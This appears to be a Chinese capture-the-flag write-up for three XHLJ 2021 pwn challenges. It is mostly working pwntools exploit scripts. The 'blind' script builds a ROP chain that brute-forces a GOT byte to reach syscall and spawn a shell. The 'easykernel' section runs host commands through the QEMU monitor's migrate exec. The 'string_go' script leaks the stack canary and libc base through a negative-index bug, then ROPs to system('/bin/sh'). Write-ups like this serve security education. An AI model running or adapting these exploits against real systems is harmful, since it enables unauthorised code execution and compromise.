XHLJ 2021 PWN Blind 分析的时候完全想岔了,往dl resolve的方向做了结果完全做不出来() 考虑alarm(),有一个特点 gef➤ x/32i alarm => 0x7ffff7eb5d90 <alarm>: mov eax,0x25 0x7ffff7eb5d95 <alarm+5>: syscall 0x7ffff7eb5d97 <alarm+7>: cmp rax,0xfffffffffffff001 第二条指令就是syscall,所以我们可以爆破最后一个字节,有256种可能,成功即可直接用GOT表跳转到syscall,然后,又可以利用read()的返回值是写入的字节数来控制rax寄存器,这样就能实现任意syscall了,剩下的内容都很容易,给的栈溢出空间很多,很容易构造 ROP Chain from pwn import * sh = process('./blind') # sh = remote('82.157.6.165', 59900) elf = ELF('./blind') pop_rsi_r15_ret = 0x00000000004007c1 pop_rdi_ret = 0x00000000004007c3 call_read = 0x40074C pop_rbx_rbp_r12_r13_r14_r15 = 0x4007BA offset = 0x50 log.info('bss_addr: ' + hex(elf.bss())) log.info('alarm got: ' + hex(elf.got['alarm'])) log.info('alarm plt: ' + hex(elf.plt['alarm'])) payload = b'A'*offset payload += p64(0xdeadbeef) payload += p64(pop_rsi_r15_ret) payload += p64(elf.bss()+0x100) payload += p64(0xdeadbeef) # read /bin/sh payload += p64(elf.plt['read']) payload += p64(pop_rsi_r15_ret) payload += p64(elf.got['alarm']) # alarm -> syscall payload += p64(0xdeadbeef) payload += p64(elf.plt['read']) payload += p64(pop_rsi_r15_ret) payload += p64(elf.bss()+0x150) # read 0x3b payload += p64(0xdeadbeef) payload += p64(elf.plt['read']) payload += p64(pop_rbx_rbp_r12_r13_r14_r15) # ret2init payload += p64(0) payload += p64(0) payload += p64(elf.got['alarm']) # call alarm() payload += p64(0) payload += p64(0) payload += p64(elf.bss()+0x100) payload += p64(0x4007A0) payload += p64(pop_rdi_ret) payload += p64(elf.bss()+0x100) payload += p64(elf.plt['alarm']) sleep(3) sh.sendline(payload) sleep(0.5) sh.sendline(b'/bin/sh\x00') sleep(0.5) sh.send(b'\xFF') # brute force sleep(0.5) sh.send(b'a'*0x3b) sleep(0.5) sh.sendline(b'uname -a') sh.interactive() easykernel 不知道是有意的还是疏忽,start.sh里没有重定向monitor…也就是说直接ctrl A C就能进入qemu monitor,然后直接挂载rootfs.img读flag就完事了()用migrate exec基本什么操作都可以做了,需要重定向一下输出。 (qemu) migrate "exec:ls -al 1>&2" total 12168 drwx------ 2 kali kali 4096 Nov 23 11:25 . string_go __int64 __fastcall lative_func(__int64 a1) { bool v1; // al __int64 v2; // rax size_t v3; // r12 const void *v4; // rbx void *v5; // rax int v7; // [rsp+1Ch] [rbp-A4h] char v8; // [rsp+20h] [rbp-A0h] char v9; // [rsp+40h] [rbp-80h] char v10; // [rsp+60h] [rbp-60h] char v11; // [rsp+80h] [rbp-40h] unsigned __int64 v12; // [rsp+A8h] [rbp-18h] v12 = __readfsqword(0x28u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v9); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v10); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v11); std::operator<<<std::char_traits<char>>(&std::cout, ">>> "); std::istream::operator>>(&std::cin, &v7); split((__int64)&v8, (__int64)&v10); v1 = !std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>::size(&v8) && v7 <= 7; if ( v1 ) { std::operator<<<std::char_traits<char>>(&std::cout, ">>> "); std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v10); std::operator<<<std::char_traits<char>>(&std::cout, ">>> "); v2 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&v10, v7); std::operator>><char,std::char_traits<char>>(&std::cin, v2); } std::operator<<<char,std::char_traits<char>,std::allocator<char>>(&std::cout, &v10); std::operator<<<std::char_traits<char>>(&std::cout, ">>> "); std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v9); v3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&v9, &v9); v4 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v9); v5 = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v11); memcpy(v5, v4, v3); std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>::~vector(&v8); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v11); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v10); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v9); return a1; } 注意 v2 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&v10, v7); 中的v7是可以被控制的,对于一个小字符串,std::string会把内容也存在栈上,如果v7是负数,就可以修改掉std::string结构体的size,在后面std::cout的时候泄漏出栈上的内容,可以得到canary,同时,也可以得到返回__libc_start_main的地址,这就可以泄漏出libc的基址了。 std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v9); n_bytes = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&v9, &v9); v4 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v9); v5 = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v11); memcpy(v5, v4, n_bytes); 最后这部分中的n_bytes,v4都可以控制,v5在栈上,通过后面的memcpy完成ROP from pwn import * from time import sleep sh = process('string_go') #gdb.attach(sh) #input() sh.recvuntil(b'>>> ') sh.sendline(b'1+1+1') sh.recvuntil(b'>>> ') sh.sendline(b'-1') sh.recvuntil(b'>>> ') sh.sendline(b'\x01') sh.recvuntil(b'>>> ') sh.sendline(b'1') sleep(0.5) for i in range(7): r = sh.recv(8) r = sh.recv(8) canary = u64(r.ljust(8, b'\x00')) log.success('canary: ' + hex(canary)) sh.recv(3*0x8) ret = sh.recv(8) ret = u64(ret.ljust(8, b'\x00')) log.success('ret: ' + hex(ret)) pie = ret - 0x254D log.success('pie: ' + hex(pie)) sh.recv(19*0x8) ret_addr_libc = sh.recv(8) ret_addr_libc = u64(ret_addr_libc.ljust(8, b'\x00')) log.success('ret_addr_libc: ' + hex(ret_addr_libc)) libc_base = ret_addr_libc - 0x1e4a log.success('libc_base: ' + hex(libc_base)) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') shaddr = libc_base + next(libc.search(b'/bin/sh')) systemaddr = libc.symbols['system'] + libc_base log.info('sh: ' + hex(shaddr)) log.info('system: ' + hex(systemaddr)) sleep(3) payload = p64(canary) * 7 payload += p64(pie+0x3cf3) payload += p64(shaddr) payload += p64(systemaddr) sh.sendline(payload) sh.interactive()